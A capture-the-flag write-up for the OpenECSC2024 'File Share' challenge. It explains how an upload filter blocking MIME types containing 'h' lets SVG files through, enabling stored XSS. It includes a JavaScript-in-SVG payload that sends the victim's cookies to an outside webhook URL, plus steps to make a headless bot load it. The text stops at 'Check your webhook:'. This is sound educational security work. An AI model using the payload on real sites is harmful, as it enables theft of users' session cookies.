This is a writeup for the OpenECSC2024 challenge File Share. The source code and official writeup can be found at the official OpenECSC Github.
Challenge Description
You can now share your files for free thanks to our new disruptive technology! Site: https://fileshare.challs.open.ecsc2024.it
Challenge Analysis
Reviewing the source code, there are two main points of interest:
1. support.php
if (preg_match('/^[a-f0-9]{30}$/', $fileid) === 1) {
$url = 'http://' . getenv('HEADLESS_HOST');
$chall_url = 'http://' . getenv('WEB_DOM');
$act1 = array('type' => 'request', 'url' => $chall_url);
$act2 = array('type' => 'set-cookie', 'name' => 'flag', 'value' => getenv('FLAG'));
$act3 = array('type' => 'request', 'url' => $chall_url . '/download.php?id=' . $fileid);
$data = array('actions' => [$act1, $act2, $act3], 'browser' => 'chrome');
$data = json_encode($data);
$options = array(
'http' => array(
'header' => "Content-type: application/json\r\n" . "X-Auth: " . getenv('HEADLESS_AUTH') . "\r\n",
'method' => 'POST',
'content' => $data
)
);
$context = stream_context_create($options);
$result = file_get_contents($url, false, $context);
If a valid file ID is submitted, this sends a POST request to a headless browser service. It includes the flag as a cookie and then requests the file using the provided ID.
2.support.php
$type = $_FILES["file"]["type"];
// I don't like the letter 'h'
if ($type == "" || preg_match("/h/i", $type) == 1){
$type = "text/plain";
}
This restricts file uploads based on MIME type, rejecting any type containing the letter h
(case-insensitive). This prevents PHP/HTML files from being executed, regardless of their extension.
However, SVG files are not blocked, making stored XSS possible. So we are able to get stored XSS by uploading an SVG file with some JS.
Exploitation
Step 1 – Prepare Payload
Firstly, you want to setup a webhook, or forwarder. I used webhook.site for this. This is where we are going to send the request to get the flag. You want to create and upload an SVG file containing JavaScript like below:
<script type="text/javascript">
<![CDATA[
image = new Image();
image.src='https://webhook.site/XXXX?'+document.cookie;
]]>
</script>
Replace https://webhook.site/XXXX
with your own webhook URL.
Step 2 – Upload the File
- Navigate to the Upload page.
- Submit the malicious SVG file.
- Copy the file ID from the generated link after upload.
Step 3 – Trigger the Headless Browser
- Go to the Support page.
- Fill in a valid email, the file ID, and any message.
- Submit the form.
Step 4 – Capture the Flag
Once the headless browser visits your SVG, the embedded script runs, sending its cookies (including the flag) to your webhook.
Check your webhook: